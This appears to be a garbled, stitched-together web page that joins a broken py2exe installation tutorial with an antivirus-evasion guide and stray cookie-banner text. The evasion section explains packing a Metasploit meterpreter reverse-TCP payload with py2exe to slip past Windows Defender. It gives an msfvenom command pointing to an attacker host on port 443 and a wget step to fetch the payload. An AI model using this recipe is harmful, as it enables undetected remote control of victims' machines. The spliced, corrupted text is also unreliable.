Install Py2exe Python 2.7
Tutorialpy2exe turns Python programs into packages that can be run on other Windows computers without needing to install Python on those computers. You must run py2exe on a Windows computer. Python is needed on the computer where py2exe itself is run because py2exe is a Python program and it includes parts of Python in the package that is built.To successfully complete this tutorial you'll need to know the basics of Python (you can get started at python.org's page). You'll also need to know.Install py2exe on your Windows computer using pip: pip install py2exeThere are a few simple steps needed to use py2exe once you've installed it:.5.1.5.2.5.2.1.5.2.1.1.5.2.2.1.
Create/test your programThe biggest step is almost always the first one. The good news is that py2exe typically has little or no impact on this step. The vast majority of things you can do with Python will work with py2exe. Many modules just work seamlessly with py2exe, but some third party modules will require a little extra work. Luckily there is help available at.It's important that you make sure everything is working before you use py2exe.
If py2exe fixes a broken program, then that's probably a bug in py2exe that needs to be fixed!The first example we'll use here is our old friend. Print ' Hello World! 'We need to make sure it's working.C:Tutorialpython hello.pyHello World!C:TutorialLooks good!2. Create your setup script (setup.py)py2exe extends with a new 'command'. If you've installed third party Python modules then there's a good chance you've seen at least one distutils command:C:Tutorialpython setup.py install'install' is a Distutils command that installs something (typically a Python module or package). The details Distutils needs to do that installation are contained in setup.py (and sometimes other associated files).' Py2exe' is a new Distutils command that is added when you import py2exe.
Py2exe Download For Windows
To use py2exe you need to create a setup.py file to tell Distutils and py2exe what you want to do. Here's a setup.py whose simplicity is appropriate for our sample program. From distutils.core import setup import py2exe setup( console= ' hello.py ')Notice that this is ordinary Python.
Let's go through it line by line. When working with py2exe the only part of Distutils we'll typically need to reference directly is the setup function, so that's all we'll import. Once Distutils is loaded, we need to load py2exe so that it can add its command. Whitespace is good!. Call setup and tell it that we want a single console application and the main entry point is 'hello.py'.3.
Run your setup scriptThe next step is to run your setup script.
SummaryWhen deploying defense in depth security controls for your organization, you are likely to include antiviruses as part of the solution. That is definitely a good practice as long as we keep in mind that antiviruses are just adding an extra layer of protection and we should never solely depend on it for protecting end-users devices.A good security program should always include defense in depth controls such as software update governance, firewalls, training/security awareness, physical security, identity management, password policy, etc. However, it is not uncommon for a security engineer to get challenged about the need for those extra layers, and you may need to demonstrate how antiviruses can be easily bypassed to prove your point.In this article we will present a very straight forward tutorial on how to evade antiviruses on fully patched and updated Windows environments using a Python payload.Keep in mind that attempting antivirus bypass is a cat and mouse game. Whenever a new evasion technique gets popular, antivirus vendors will eventually learn about it and update their signatures database to block it.
Install Py2exe Python 2.7 1
Then, new evasion techniques will arise, which will make vendors to add it to their signature database, and so on and so forth.By the time of this writing, the method described here was successfully used to bypass all the vendor engines available on, and get the malicious artifact successfully executed on a fully updated Windows 10 machine with Windows Defender enabled. Python PayloadSignature-based antiviruses work by comparing the artifact binaries against a signature database. Our goal is to “disguise” our payload in a way they do not match any known signatures on any antivirus vendor database. A behavior-based antivirus will try to match known suspicious activities to the actions taken by a given artifact. Our malware will work as a mere client trying to start a TCP connection on port 443.
It makes harder for behavior-based antiviruses to flag actions like this without issuing a lot of false positives for legit applications such as web browsers.For this example we are going to use a Python payload generated by to open a reverse TCP shell (meterpreter session) on port 443 to the attacker machine running Metasploit. An artifact like that is obviously malicious and should always be flagged by any antivirus agent.The approach described here is flexible enough so you can extend it by replacing our sample msfvenom payload with your own customized Python payload. Environment SetupWe recommend using 3 virtual machines for this tutorial:for creating the payload and running Metasploit;for packing the payload into an artifact;fully patched for running the final artifact;The reason we used 2 distinct Windows virtual machines is because we need a fully updated/patched box to make sure our artifact will have a very high chance to work on any given Windows environment. On the other hand, before packing the payload with Py2Exe, a fully patched machine will always flag the raw Python payload, giving you a hard time working with it. Hence, the need for the Metasploitable 3 virtual machine for handling the raw payload before it is packed. Creating a FUD meterpreter payload with PythonFor creating the the artifact we recommend using the as your main Windows environment.Install Python 2.7.16 x86 for Windows:.Note: Python 2.7 x86 is required.
Install the 32 bits version even if your Windows is a x64 box. Also, make sure to select the option “Add python.exe to Path” during the installationInstall Py2exe 32 bits for Python 2.7:Optionally, install for Windows.Switch to the Kali Linux machine and create the Python payload.Note: Our Kali Linux is using IP address 10.0.2.10. Make sure you replace it by your current IP for the all the remaining steps in this tutorial.msfvenom -p python/meterpreter/reversetcp LHOST=10.0.2.10 LPORT=443 -f raw -o /var/www/html/mrtp.pyservice apache2 startCopy the payload “ mrtp.py” back to your Windows machine. Using powershell, run:wget -O mrtp.pyAlso, create a setup.py file with the following content. When you visit any website, it may store or retrieve information on your browser, mostly in the form of cookies. This information might be about you, your preferences or your device and is mostly used to make the site work as you expect it to. The information does not usually directly identify you, but it can give you a more personalized web experience.Because we respect your right to privacy, you can choose not to allow some types of cookies.
Install Py2exe Python 2.7 Windows
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